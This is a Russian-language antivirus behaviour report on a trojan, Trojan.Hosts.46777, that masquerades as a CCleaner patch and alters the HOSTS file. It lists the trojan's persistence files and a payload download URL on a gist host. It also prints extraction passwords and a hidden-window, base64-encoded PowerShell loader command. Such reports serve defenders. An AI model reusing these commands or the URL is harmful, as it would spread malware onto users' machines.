Trojan.Hosts.46777

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

%APPDATA%\microsoft\windows\start menu\programs\startup\state.vbs

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' /F /IM cmd.exe
'<SYSTEM32>\taskkill.exe' /F /IM License_patch_cr-piriform.tmp

Загружает

https://gist.githubusercontent.com/alheany77/b090fdbd418a51e389affaa22282c66c/raw/bfe13a6ed7723a62298dca7d105bffb50729b1c0/ddd.mp4

Завершает или пытается завершить

следующие системные процессы:

%WINDIR%\syswow64\cmd.exe

Изменения в файловой системе

Создает следующие файлы

<LS_APPDATA>\xdifkxddl90nprogr.exe
%PROGRAMDATA%\policyccleaner\ccleaner.zip
%PROGRAMDATA%\policyccleaner\7za.exe
%TEMP%\is-sl4l1.tmp\externaldata\ccleaner.zip
%TEMP%\is-sl4l1.tmp\externaldata\7za.exe
%TEMP%\is-sl4l1.tmp\xdelta-x64.exe
%TEMP%\is-sl4l1.tmp\patchdata\microsoft.txt.xdelta
%TEMP%\is-sl4l1.tmp\checker.ini
%TEMP%\is-sl4l1.tmp\english.ini
%PROGRAMDATA%\policyccleaner\csrssw.exe
%PROGRAMDATA%\microsoftcorporation\microsoft.txt
%TEMP%\is-sl4l1.tmp\onaftercode.bat
%TEMP%\is-sl4l1.tmp\onstartupcode.bat
%TEMP%\is-sl4l1.tmp\isproc.dll
%TEMP%\is-sl4l1.tmp\crc32c.dll
%TEMP%\is-sl4l1.tmp\innocallback.dll
%TEMP%\is-sl4l1.tmp\wintb.dll
%TEMP%\is-sl4l1.tmp\_isetup\_setup64.tmp
%TEMP%\is-r7m2t.tmp\xdifkxddl90nprogr.tmp
%TEMP%\is-sl4l1.tmp\onfinishcode.bat
<LS_APPDATA>\xdifkxddsolo.vbs

Удаляет следующие файлы

%TEMP%\is-sl4l1.tmp\checker.ini
%PROGRAMDATA%\microsoftcorporation\backup\microsoft.txt
%TEMP%\is-sl4l1.tmp\crc32c.dll
%TEMP%\is-sl4l1.tmp\english.ini
%TEMP%\is-sl4l1.tmp\externaldata\7za.exe
%TEMP%\is-sl4l1.tmp\externaldata\ccleaner.zip
%TEMP%\is-sl4l1.tmp\innocallback.dll
%TEMP%\is-sl4l1.tmp\isproc.dll
%TEMP%\is-sl4l1.tmp\onaftercode.bat
%TEMP%\is-sl4l1.tmp\onfinishcode.bat
%TEMP%\is-sl4l1.tmp\onstartupcode.bat
%TEMP%\is-sl4l1.tmp\patchdata\microsoft.txt.xdelta
%TEMP%\is-sl4l1.tmp\wintb.dll
%TEMP%\is-sl4l1.tmp\xdelta-x64.exe
%TEMP%\is-sl4l1.tmp\_isetup\_setup64.tmp
%TEMP%\is-r7m2t.tmp\xdifkxddl90nprogr.tmp

Перемещает следующие файлы

%PROGRAMDATA%\microsoftcorporation\microsoft.txt в %PROGRAMDATA%\microsoftcorporation\backup\microsoft.txt

Подменяет следующие файлы

%TEMP%\is-sl4l1.tmp\checker.ini
%PROGRAMDATA%\microsoftcorporation\microsoft.txt

Изменяет файл HOSTS.

Сетевая активность

UDP

DNS ASK google.com
DNS ASK gi##.###hubusercontent.com

Другое

Ищет следующие окна

ClassName: '' WindowName: ''
ClassName: 'TApplication' WindowName: 'Patch CCleaner'

Создает и запускает на исполнение

'<LS_APPDATA>\xdifkxddl90nprogr.exe'
'%TEMP%\is-r7m2t.tmp\xdifkxddl90nprogr.tmp' /SL5="$B0222,2548677,125952,<LS_APPDATA>\XdIfkXDDl90Nprogr.exe"
'%TEMP%\is-sl4l1.tmp\xdelta-x64.exe' -d -f -s "%PROGRAMDATA%\MicrosoftCorporation\Backup\Microsoft.txt" "%TEMP%\is-SL4L1.tmp\PatchData\Microsoft.txt.xdelta" "%PROGRAMDATA%\MicrosoftCorporation\Microsoft.txt"
'%PROGRAMDATA%\policyccleaner\7za.exe' e -p"VTrk4Rds1Tcv*3b" Data.zip "*.*" -o%PROGRAMDATA%\PolicyCCleaner -y -r
'%PROGRAMDATA%\policyccleaner\7za.exe' e -p"0g}1VCf8*N2aV]9" CCleaner.zip "*.*" -o%PROGRAMDATA%\PolicyCCleaner -y -r
'%PROGRAMDATA%\policyccleaner\csrssw.exe'
'<SYSTEM32>\wscript.exe' "<LS_APPDATA>\XdIfkXDDsolo.vbs"
'%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-SL4L1.tmp\OnStartupCode.bat""' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-SL4L1.tmp\OnBeforeCode.bat""' (со скрытым окном)
'%TEMP%\is-sl4l1.tmp\xdelta-x64.exe' -d -f -s "%PROGRAMDATA%\MicrosoftCorporation\Backup\Microsoft.txt" "%TEMP%\is-SL4L1.tmp\PatchData\Microsoft.txt.xdelta" "%PROGRAMDATA%\MicrosoftCorporation\Microsoft.txt"' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-SL4L1.tmp\OnAfterCode.bat""' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /C ""%TEMP%\is-SL4L1.tmp\OnFinishCode.bat""' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noP -sta -w 1 -enc WwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABOAGUAdwAt...' (со скрытым окном)